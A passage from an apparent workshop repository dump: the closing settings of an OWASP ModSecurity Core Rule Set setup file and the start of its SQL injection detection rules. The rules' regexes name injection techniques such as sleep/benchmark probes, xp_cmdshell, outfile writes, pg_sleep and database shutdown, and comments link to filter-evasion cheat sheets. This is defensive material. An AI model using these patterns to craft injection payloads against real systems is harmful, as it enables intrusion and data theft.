setvar:tx.block_harvester_ip=1,\ 614 | # setvar:tx.block_spammer_ip=1" 615 | 616 | 617 | # 618 | # -- [[ GeoIP Database ]] ------------------------------------------------------ 619 | # 620 | # There are some rulesets that inspect geolocation data of the client IP address 621 | # (geoLookup). The CRS uses geoLookup to implement optional country blocking. 622 | # 623 | # To use geolocation, we make use of the MaxMind GeoIP database. 624 | # This database is not included with the CRS and must be downloaded. 625 | # 626 | # There are two formats for the GeoIP database. ModSecurity v2 uses GeoLite (.dat files), 627 | # and ModSecurity v3 uses GeoLite2 (.mmdb files). 628 | # 629 | # If you use ModSecurity 3, MaxMind provides a binary for updating GeoLite2 files, 630 | # see https://github.com/maxmind/geoipupdate. 631 | # 632 | # Download the package for your OS, and read https://dev.maxmind.com/geoip/geoipupdate/ 633 | # for configuration options. 634 | # 635 | # Warning: GeoLite (not GeoLite2) databases are considered legacy, and not being updated anymore. 636 | # See https://support.maxmind.com/geolite-legacy-discontinuation-notice/ for more info. 637 | # 638 | # Therefore, if you use ModSecurity v2, you need to regenerate updated .dat files 639 | # from CSV files first. 640 | # 641 | # You can achieve this using https://github.com/sherpya/geolite2legacy 642 | # Pick the zip files from maxmind site: 643 | # https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip 644 | # 645 | # Follow the guidelines for installing the tool and run: 646 | # ./geolite2legacy.py -i GeoLite2-Country-CSV.zip \ 647 | # -f geoname2fips.csv -o /usr/share/GeoliteCountry.dat 648 | # 649 | # Update the database regularly, see Step 3 of the configuration link above. 650 | # 651 | # By default, when you execute `sudo geoipupdate` on Linux, files from the free database 652 | # will be downloaded to `/usr/share/GeoIP` (both v1 and v2). 653 | # 654 | # Then choose from: 655 | # - `GeoLite2-Country.mmdb` (if you are using ModSecurity v3) 656 | # - `GeoLiteCountry.dat` (if you are using ModSecurity v2) 657 | # 658 | # Ref: http://blog.spiderlabs.com/2010/10/detecting-malice-with-modsecurity-geolocation-data.html 659 | # Ref: http://blog.spiderlabs.com/2010/11/detecting-malice-with-modsecurity-ip-forensics.html 660 | # 661 | # Uncomment only one of the next rules here to use this feature. 662 | # Choose the one depending on the ModSecurity version you are using, and change the path accordingly: 663 | # 664 | # For ModSecurity v3: 665 | #SecGeoLookupDB /usr/share/GeoIP/GeoLite2-Country.mmdb 666 | # For ModSecurity v2 (points to the converted one): 667 | #SecGeoLookupDB /usr/share/GeoIP/GeoLiteCountry.dat 668 | 669 | # 670 | # -=[ Block Countries ]=- 671 | # 672 | # Rules in the IP Reputation file can check the client against a list of high 673 | # risk country codes. These countries have to be defined in the variable 674 | # tx.high_risk_country_codes via their ISO 3166 two-letter country code: 675 | # https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements 676 | # 677 | # If you are sure that you are not getting any legitimate requests from a given 678 | # country, then you can disable all access from that country via this variable. 679 | # The rule performing the test has the rule id 910100. 680 | # 681 | # This rule requires SecGeoLookupDB to be enabled and the GeoIP database to be 682 | # downloaded (see the section "GeoIP Database" above.) 683 | # 684 | # By default, the list is empty. A list used by some sites was the following: 685 | # setvar:'tx.high_risk_country_codes=UA ID YU LT EG RO BG TR RU PK MY CN'" 686 | # 687 | # Uncomment this rule to use this feature: 688 | # 689 | #SecAction \ 690 | # "id:900600,\ 691 | # phase:1,\ 692 | # nolog,\ 693 | # pass,\ 694 | # t:none,\ 695 | # setvar:'tx.high_risk_country_codes='" 696 | 697 | 698 | # 699 | # -- [[ Anti-Automation / DoS Protection ]] ------------------------------------ 700 | # 701 | # Optional DoS protection against clients making requests too quickly. 702 | # 703 | # When a client is making more than 100 requests (excluding static files) within 704 | # 60 seconds, this is considered a 'burst'. After two bursts, the client is 705 | # blocked for 600 seconds. 706 | # 707 | # Requests to static files are not counted towards DoS; they are listed in the 708 | # 'tx.static_extensions' setting, which you can change in this file (see 709 | # section "HTTP Policy Settings"). 710 | # 711 | # For a detailed description, see rule file REQUEST-912-DOS-PROTECTION.conf. 712 | # 713 | # Uncomment this rule to use this feature: 714 | # 715 | #SecAction \ 716 | # "id:900700,\ 717 | # phase:1,\ 718 | # nolog,\ 719 | # pass,\ 720 | # t:none,\ 721 | # setvar:'tx.dos_burst_time_slice=60',\ 722 | # setvar:'tx.dos_counter_threshold=100',\ 723 | # setvar:'tx.dos_block_timeout=600'" 724 | 725 | 726 | # 727 | # -- [[ Check UTF-8 encoding ]] ------------------------------------------------ 728 | # 729 | # The CRS can optionally check request contents for invalid UTF-8 encoding. 730 | # We only want to apply this check if UTF-8 encoding is actually used by the 731 | # site; otherwise it will result in false positives. 732 | # 733 | # Uncomment this rule to use this feature: 734 | # 735 | #SecAction \ 736 | # "id:900950,\ 737 | # phase:1,\ 738 | # nolog,\ 739 | # pass,\ 740 | # t:none,\ 741 | # setvar:tx.crs_validate_utf8_encoding=1" 742 | 743 | 744 | # 745 | # -- [[ Blocking Based on IP Reputation ]] ------------------------------------ 746 | # 747 | # Blocking based on reputation is permanent in the CRS. Unlike other rules, 748 | # which look at the individual request, the blocking of IPs is based on 749 | # a persistent record in the IP collection, which remains active for a 750 | # certain amount of time. 751 | # 752 | # There are two ways an individual client can become flagged for blocking: 753 | # - External information (RBL, GeoIP, etc.) 754 | # - Internal information (Core Rules) 755 | # 756 | # The record in the IP collection carries a flag, which tags requests from 757 | # individual clients with a flag named IP.reput_block_flag. 758 | # But the flag alone is not enough to have a client blocked. There is also 759 | # a global switch named tx.do_reput_block. This is off by default. If you set 760 | # it to 1 (=On), requests from clients with the IP.reput_block_flag will 761 | # be blocked for a certain duration. 762 | # 763 | # Variables 764 | # ip.reput_block_flag Blocking flag for the IP collection record 765 | # ip.reput_block_reason Reason (= rule message) that caused to blocking flag 766 | # tx.do_reput_block Switch deciding if we really block based on flag 767 | # tx.reput_block_duration Setting to define the duration of a block 768 | # 769 | # It may be important to know, that all the other core rules are skipped for 770 | # requests, when it is clear that they carry the blocking flag in question. 771 | # 772 | # Uncomment this rule to use this feature: 773 | # 774 | #SecAction \ 775 | # "id:900960,\ 776 | # phase:1,\ 777 | # nolog,\ 778 | # pass,\ 779 | # t:none,\ 780 | # setvar:tx.do_reput_block=1" 781 | # 782 | # Uncomment this rule to change the blocking time: 783 | # Default: 300 (5 minutes) 784 | # 785 | #SecAction \ 786 | # "id:900970,\ 787 | # phase:1,\ 788 | # nolog,\ 789 | # pass,\ 790 | # t:none,\ 791 | # setvar:tx.reput_block_duration=300" 792 | 793 | 794 | # 795 | # -- [[ Collection timeout ]] -------------------------------------------------- 796 | # 797 | # Set the SecCollectionTimeout directive from the ModSecurity default (1 hour) 798 | # to a lower setting which is appropriate to most sites. 799 | # This increases performance by cleaning out stale collection (block) entries. 800 | # 801 | # This value should be greater than or equal to: 802 | # tx.reput_block_duration (see section "Blocking Based on IP Reputation") and 803 | # tx.dos_block_timeout (see section "Anti-Automation / DoS Protection"). 804 | # 805 | # Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecCollectionTimeout 806 | 807 | # Please keep this directive uncommented. 808 | # Default: 600 (10 minutes) 809 | SecCollectionTimeout 600 810 | 811 | 812 | # 813 | # -- [[ End of setup ]] -------------------------------------------------------- 814 | # 815 | # The CRS checks the tx.crs_setup_version variable to ensure that the setup 816 | # has been loaded. If you are not planning to use this setup template, 817 | # you must manually set the tx.crs_setup_version variable before including 818 | # the CRS rules/* files. 819 | # 820 | # The variable is a numerical representation of the CRS version number. 821 | # E.g., v3.0.0 is represented as 300. 822 | # 823 | SecAction \ 824 | "id:900990,\ 825 | phase:1,\ 826 | nolog,\ 827 | pass,\ 828 | t:none,\ 829 | setvar:tx.crs_setup_version=332" 830 | -------------------------------------------------------------------------------- /workshop/waf/waf-rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf: -------------------------------------------------------------------------------- 1 | # ------------------------------------------------------------------------ 2 | # OWASP ModSecurity Core Rule Set ver.3.3.2 3 | # Copyright (c) 2006-2020 Trustwave and contributors. All rights reserved. 4 | # 5 | # The OWASP ModSecurity Core Rule Set is distributed under 6 | # Apache Software License (ASL) version 2 7 | # Please see the enclosed LICENSE file for full details. 8 | # ------------------------------------------------------------------------ 9 | 10 | # 11 | # -= Paranoia Level 0 (empty) =- (apply unconditionally) 12 | # 13 | 14 | 15 | 16 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 1" "id:942011,phase:1,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 17 | SecRule TX:EXECUTING_PARANOIA_LEVEL "@lt 1" "id:942012,phase:2,pass,nolog,skipAfter:END-REQUEST-942-APPLICATION-ATTACK-SQLI" 18 | # 19 | # -= Paranoia Level 1 (default) =- (apply only when tx.executing_paranoia_level is sufficiently high: 1 or higher) 20 | # 21 | 22 | # 23 | # References: 24 | # 25 | # SQL Injection Knowledgebase (via @LightOS) - 26 | # http://websec.ca/kb/sql_injection 27 | # 28 | # SQLi Filter Evasion Cheat Sheet - 29 | # http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/ 30 | # 31 | # SQL Injection Cheat Sheet - 32 | # http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ 33 | # 34 | # SQLMap's Tamper Scripts (for evasions) 35 | # https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/ 36 | # 37 | 38 | # 39 | # -=[ LibInjection Check ]=- 40 | # 41 | # There is a stricter sibling of this rule at 941101. It covers REQUEST_BASENAME. 42 | # 43 | # Ref: https://libinjection.client9.com/ 44 | # 45 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_HEADERS:User-Agent|REQUEST_HEADERS:Referer|ARGS_NAMES|ARGS|XML:/* "@detectSQLi" \ 46 | "id:942100,\ 47 | phase:2,\ 48 | block,\ 49 | capture,\ 50 | t:none,t:utf8toUnicode,t:urlDecodeUni,t:removeNulls,\ 51 | msg:'SQL Injection Attack Detected via libinjection',\ 52 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 53 | tag:'application-multi',\ 54 | tag:'language-multi',\ 55 | tag:'platform-multi',\ 56 | tag:'attack-sqli',\ 57 | tag:'paranoia-level/1',\ 58 | tag:'OWASP_CRS',\ 59 | tag:'capec/1000/152/248/66',\ 60 | tag:'PCI/6.5.2',\ 61 | ver:'OWASP_CRS/3.3.2',\ 62 | severity:'CRITICAL',\ 63 | multiMatch,\ 64 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',\ 65 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'" 66 | 67 | 68 | # 69 | # -=[ Detect DB Names ]=- 70 | # 71 | # Regexp generated from util/regexp-assemble/regexp-942140.data using Regexp::Assemble. 72 | # To rebuild the regexp: 73 | # cd util/regexp-assemble 74 | # ./regexp-assemble.pl regexp-942140.data 75 | # Note that after assemble an outer bracket with an ignore case flag and a word boundary is added 76 | # to the Regexp::Assemble output: 77 | # Add ignore case flag and word boundary: "(?i:\bASSEMBLE_OUTPUT)" 78 | # 79 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:\b(?:(?:m(?:s(?:ys(?:ac(?:cess(?:objects|storage|xml)|es)|(?:relationship|object|querie)s|modules2?)|db)|aster\.\.sysdatabases|ysql\.db)|pg_(?:catalog|toast)|information_schema|northwind|tempdb)\b|s(?:(?:ys(?:\.database_name|aux)|qlite(?:_temp)?_master)\b|chema(?:_name\b|\W*\())|d(?:atabas|b_nam)e\W*\())" \ 80 | "id:942140,\ 81 | phase:2,\ 82 | block,\ 83 | capture,\ 84 | t:none,t:urlDecodeUni,\ 85 | msg:'SQL Injection Attack: Common DB Names Detected',\ 86 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 87 | tag:'application-multi',\ 88 | tag:'language-multi',\ 89 | tag:'platform-multi',\ 90 | tag:'attack-sqli',\ 91 | tag:'paranoia-level/1',\ 92 | tag:'OWASP_CRS',\ 93 | tag:'capec/1000/152/248/66',\ 94 | tag:'PCI/6.5.2',\ 95 | ctl:auditLogParts=+E,\ 96 | ver:'OWASP_CRS/3.3.2',\ 97 | severity:'CRITICAL',\ 98 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 99 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 100 | 101 | 102 | # 103 | # -=[ PHPIDS - Converted SQLI Filters ]=- 104 | # 105 | # https://raw.github.com/PHPIDS/PHPIDS/master/lib/IDS/default_filter.xml 106 | # 107 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:sleep\(\s*?\d*?\s*?\)|benchmark\(.*?\,.*?\))" \ 108 | "id:942160,\ 109 | phase:2,\ 110 | block,\ 111 | capture,\ 112 | t:none,t:urlDecodeUni,\ 113 | msg:'Detects blind sqli tests using sleep() or benchmark()',\ 114 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 115 | tag:'application-multi',\ 116 | tag:'language-multi',\ 117 | tag:'platform-multi',\ 118 | tag:'attack-sqli',\ 119 | tag:'paranoia-level/1',\ 120 | tag:'OWASP_CRS',\ 121 | tag:'capec/1000/152/248/66',\ 122 | ver:'OWASP_CRS/3.3.2',\ 123 | severity:'CRITICAL',\ 124 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 125 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 126 | 127 | # Regexp generated from util/regexp-assemble/regexp-942170.data using Regexp::Assemble. 128 | # To rebuild the regexp: 129 | # cd util/regexp-assemble 130 | # ./regexp-assemble.pl regexp-942170.data 131 | # Note that after assemble an outer bracket with an ignore case flag is added 132 | # to the Regexp::Assemble output: 133 | # (?i:ASSEMBLE_OUTPUT) 134 | # 135 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:select|;)\s+(?:benchmark|sleep|if)\s*?\(\s*?\(?\s*?\w+)" \ 136 | "id:942170,\ 137 | phase:2,\ 138 | block,\ 139 | capture,\ 140 | t:none,t:urlDecodeUni,\ 141 | msg:'Detects SQL benchmark and sleep injection attempts including conditional queries',\ 142 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 143 | tag:'application-multi',\ 144 | tag:'language-multi',\ 145 | tag:'platform-multi',\ 146 | tag:'attack-sqli',\ 147 | tag:'paranoia-level/1',\ 148 | tag:'OWASP_CRS',\ 149 | tag:'capec/1000/152/248/66',\ 150 | tag:'PCI/6.5.2',\ 151 | ver:'OWASP_CRS/3.3.2',\ 152 | severity:'CRITICAL',\ 153 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 154 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 155 | 156 | # Regexp generated from util/regexp-assemble/regexp-942190.data using Regexp::Assemble. 157 | # To rebuild the regexp: 158 | # cd util/regexp-assemble 159 | # ./regexp-assemble.pl regexp-942190.data 160 | # Note that after assemble an outer bracket with an ignore case flag is added 161 | # to the Regexp::Assemble output: 162 | # (?i:ASSEMBLE_OUTPUT) 163 | # 164 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:;?\s*?(?:having|select|union)\b\s*?[^\s]|\s*?!\s*?[\"'`\w])|(?:c(?:onnection_id|urrent_user)|database)\s*?\([^\)]*?|u(?:nion(?:[\w(\s]*?select| select @)|ser\s*?\([^\)]*?)|s(?:chema\s*?\([^\)]*?|elect.*?\w?user\()|into[\s+]+(?:dump|out)file\s*?[\"'`]|\s*?exec(?:ute)?.*?\Wxp_cmdshell|from\W+information_schema\W|exec(?:ute)?\s+master\.|\wiif\s*?\())" \ 165 | "id:942190,\ 166 | phase:2,\ 167 | block,\ 168 | capture,\ 169 | t:none,t:urlDecodeUni,\ 170 | msg:'Detects MSSQL code execution and information gathering attempts',\ 171 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 172 | tag:'application-multi',\ 173 | tag:'language-multi',\ 174 | tag:'platform-multi',\ 175 | tag:'attack-sqli',\ 176 | tag:'paranoia-level/1',\ 177 | tag:'OWASP_CRS',\ 178 | tag:'capec/1000/152/248/66',\ 179 | tag:'PCI/6.5.2',\ 180 | ver:'OWASP_CRS/3.3.2',\ 181 | severity:'CRITICAL',\ 182 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 183 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 184 | 185 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx ^(?i:-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|3.0.00738585072007e-308|1e309)$" \ 186 | "id:942220,\ 187 | phase:2,\ 188 | block,\ 189 | capture,\ 190 | t:none,t:urlDecodeUni,\ 191 | msg:'Looking for integer overflow attacks, these are taken from skipfish, except 3.0.00738585072007e-308 is the \"magic number\" crash',\ 192 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 193 | tag:'application-multi',\ 194 | tag:'language-multi',\ 195 | tag:'platform-multi',\ 196 | tag:'attack-sqli',\ 197 | tag:'paranoia-level/1',\ 198 | tag:'OWASP_CRS',\ 199 | tag:'capec/1000/152/248/66',\ 200 | tag:'PCI/6.5.2',\ 201 | ver:'OWASP_CRS/3.3.2',\ 202 | severity:'CRITICAL',\ 203 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 204 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 205 | 206 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:[\s()]case\s*?\(|\)\s*?like\s*?\(|having\s*?[^\s]+\s*?[^\w\s]|if\s?\([\d\w]\s*?[=<>~])" \ 207 | "id:942230,\ 208 | phase:2,\ 209 | block,\ 210 | capture,\ 211 | t:none,t:urlDecodeUni,\ 212 | msg:'Detects conditional SQL injection attempts',\ 213 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 214 | tag:'application-multi',\ 215 | tag:'language-multi',\ 216 | tag:'platform-multi',\ 217 | tag:'attack-sqli',\ 218 | tag:'paranoia-level/1',\ 219 | tag:'OWASP_CRS',\ 220 | tag:'capec/1000/152/248/66',\ 221 | tag:'PCI/6.5.2',\ 222 | ver:'OWASP_CRS/3.3.2',\ 223 | severity:'CRITICAL',\ 224 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 225 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 226 | 227 | # Regexp generated from util/regexp-assemble/regexp-942240.data using Regexp::Assemble. 228 | # To rebuild the regexp: 229 | # cd util/regexp-assemble 230 | # ./regexp-assemble.pl regexp-942240.data 231 | # Note that after assemble an outer bracket with an ignore case flag is added 232 | # to the Regexp::Assemble output: 233 | # (?i:ASSEMBLE_OUTPUT) 234 | # 235 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:;*?\s*?waitfor\s+(?:delay|time)\s+[\"'`]|;.*?:\s*?goto)|alter\s*?\w+.*?cha(?:racte)?r\s+set\s+\w+))" \ 236 | "id:942240,\ 237 | phase:2,\ 238 | block,\ 239 | capture,\ 240 | t:none,t:urlDecodeUni,\ 241 | msg:'Detects MySQL charset switch and MSSQL DoS attempts',\ 242 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 243 | tag:'application-multi',\ 244 | tag:'language-multi',\ 245 | tag:'platform-multi',\ 246 | tag:'attack-sqli',\ 247 | tag:'paranoia-level/1',\ 248 | tag:'OWASP_CRS',\ 249 | tag:'capec/1000/152/248/66',\ 250 | tag:'PCI/6.5.2',\ 251 | ver:'OWASP_CRS/3.3.2',\ 252 | severity:'CRITICAL',\ 253 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 254 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 255 | 256 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:merge.*?using\s*?\(|execute\s*?immediate\s*?[\"'`]|match\s*?[\w(),+-]+\s*?against\s*?\()" \ 257 | "id:942250,\ 258 | phase:2,\ 259 | block,\ 260 | capture,\ 261 | t:none,t:urlDecodeUni,\ 262 | msg:'Detects MATCH AGAINST, MERGE and EXECUTE IMMEDIATE injections',\ 263 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 264 | tag:'application-multi',\ 265 | tag:'language-multi',\ 266 | tag:'platform-multi',\ 267 | tag:'attack-sqli',\ 268 | tag:'paranoia-level/1',\ 269 | tag:'OWASP_CRS',\ 270 | tag:'capec/1000/152/248/66',\ 271 | tag:'PCI/6.5.2',\ 272 | ver:'OWASP_CRS/3.3.2',\ 273 | severity:'CRITICAL',\ 274 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 275 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 276 | 277 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)union.*?select.*?from" \ 278 | "id:942270,\ 279 | phase:2,\ 280 | block,\ 281 | capture,\ 282 | t:none,t:urlDecodeUni,\ 283 | msg:'Looking for basic sql injection. Common attack string for mysql, oracle and others',\ 284 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 285 | tag:'application-multi',\ 286 | tag:'language-multi',\ 287 | tag:'platform-multi',\ 288 | tag:'attack-sqli',\ 289 | tag:'paranoia-level/1',\ 290 | tag:'OWASP_CRS',\ 291 | tag:'capec/1000/152/248/66',\ 292 | tag:'PCI/6.5.2',\ 293 | ver:'OWASP_CRS/3.3.2',\ 294 | severity:'CRITICAL',\ 295 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 296 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 297 | 298 | # Regexp generated from util/regexp-assemble/regexp-942280.data using Regexp::Assemble. 299 | # To rebuild the regexp: 300 | # cd util/regexp-assemble 301 | # ./regexp-assemble.pl regexp-942280.data 302 | # Note that after assemble an outer bracket with an ignore case flag is added 303 | # to the Regexp::Assemble output: 304 | # (?i:ASSEMBLE_OUTPUT) 305 | # 306 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:;\s*?shutdown\s*?(?:[#;]|\/\*|--|\{)|waitfor\s*?delay\s?[\"'`]+\s?\d|select\s*?pg_sleep))" \ 307 | "id:942280,\ 308 | phase:2,\ 309 | block,\ 310 | capture,\ 311 | t:none,t:urlDecodeUni,\ 312 | msg:'Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts',\ 313 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 314 | tag:'application-multi',\ 315 | tag:'language-multi',\ 316 | tag:'platform-multi',\ 317 | tag:'attack-sqli',\ 318 | tag:'paranoia-level/1',\ 319 | tag:'OWASP_CRS',\ 320 | tag:'capec/1000/152/248/66',\ 321 | tag:'PCI/6.5.2',\ 322 | ver:'OWASP_CRS/3.3.2',\ 323 | severity:'CRITICAL',\ 324 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 325 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 326 | 327 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|x?or|div|like|between|and)\]))" \ 328 | "id:942290,\ 329 | phase:2,\ 330 | block,\ 331 | capture,\ 332 | t:none,t:urlDecodeUni,\ 333 | msg:'Finds basic MongoDB SQL injection attempts',\ 334 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 335 | tag:'application-multi',\ 336 | tag:'language-multi',\ 337 | tag:'platform-multi',\ 338 | tag:'attack-sqli',\ 339 | tag:'paranoia-level/1',\ 340 | tag:'OWASP_CRS',\ 341 | tag:'capec/1000/152/248/66',\ 342 | tag:'PCI/6.5.2',\ 343 | ver:'OWASP_CRS/3.3.2',\ 344 | severity:'CRITICAL',\ 345 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 346 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 347 | 348 | # Regexp generated from util/regexp-assemble/regexp-942320.data using Regexp::Assemble. 349 | # To rebuild the regexp: 350 | # cd util/regexp-assemble 351 | # ./regexp-assemble.pl regexp-942320.data 352 | # Note that after assemble an outer bracket with an ignore case flag is added 353 | # to the Regexp::Assemble output: 354 | # (?i:ASSEMBLE_OUTPUT) 355 | # 356 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:create\s+(?:procedure|function)\s*?\w+\s*?\(\s*?\)\s*?-|;\s*?(?:declare|open)\s+[\w-]+|procedure\s+analyse\s*?\(|declare[^\w]+[@#]\s*?\w+|exec\s*?\(\s*?\@))" \ 357 | "id:942320,\ 358 | phase:2,\ 359 | block,\ 360 | capture,\ 361 | t:none,t:urlDecodeUni,\ 362 | msg:'Detects MySQL and PostgreSQL stored procedure/function injections',\ 363 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 364 | tag:'application-multi',\ 365 | tag:'language-multi',\ 366 | tag:'platform-multi',\ 367 | tag:'attack-sqli',\ 368 | tag:'paranoia-level/1',\ 369 | tag:'OWASP_CRS',\ 370 | tag:'capec/1000/152/248/66',\ 371 | tag:'PCI/6.5.2',\ 372 | ver:'OWASP_CRS/3.3.2',\ 373 | severity:'CRITICAL',\ 374 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 375 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 376 | 377 | # Regexp generated from util/regexp-assemble/regexp-942350.data using Regexp::Assemble. 378 | # To rebuild the regexp: 379 | # cd util/regexp-assemble 380 | # ./regexp-assemble.pl regexp-942350.data 381 | # Note that after assemble an outer bracket with an ignore case flag is added 382 | # to the Regexp::Assemble output: 383 | # (?i:ASSEMBLE_OUTPUT) 384 | # 385 | SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:;\s*?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load)\b\s*?[\[(]?\w{2,}|create\s+function\s+.+\s+returns))" \ 386 | "id:942350,\ 387 | phase:2,\ 388 | block,\ 389 | capture,\ 390 | t:none,t:urlDecodeUni,\ 391 | msg:'Detects MySQL UDF injection and other data/structure manipulation attempts',\ 392 | logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\ 393 | tag:'application-multi',\ 394 | tag:'language-multi',\ 395 | tag:'platform-multi',\ 396 | tag:'attack-sqli',\ 397 | tag:'paranoia-level/1',\ 398 | tag:'OWASP_CRS',\ 399 | tag:'capec/1000/152/248/66',\ 400 | tag:'PCI/6.5.2',\ 401 | ver:'OWASP_CRS/3.3.2',\ 402 | severity:'CRITICAL',\ 403 | setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',\ 404 | setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'" 405 | 406 | # This rule has a stricter sibling: 942361. 407 | # The keywords 'alter' and 'union' led to false positives. 408 | # Therefore they have been moved to PL2 and the keywords have been extended on PL1. 409 | # 410 | # Sources for SQL ALTER statements: 411 | # MySQL: https://dev.mysql.com/doc/refman/5.7/en/sql-syntax-data-definition.html 412 | # Oracle/PLSQL: https://docs.oracle.com/apps/search/search.jsp?q=alter&size=60&category=database 413 | # PostgreQSL: https://www.postgresql.org/search/?u=%2Fdocs&q=alter 414 | # MSSQL: https://docs.microsoft.com/en-us/sql/t-sql/statements/statements 415 | # DB2: https://www.ibm.com/support/knowledgecenter/en/search/alter?scope=SSEPGG_9.5.0 416 | # 417 | # Regexp generated from util/regexp-assemble/regexp-942360.data using Regexp::Assemble. 418 | # To rebuild the regexp: 419 | # cd util/regexp-assemble 420 | # ./regexp-assemble.pl regexp-942360.data 421 | # Note that after assemble an outer bracket with an ignore case flag is added 422 | # to the Regexp::Assemble 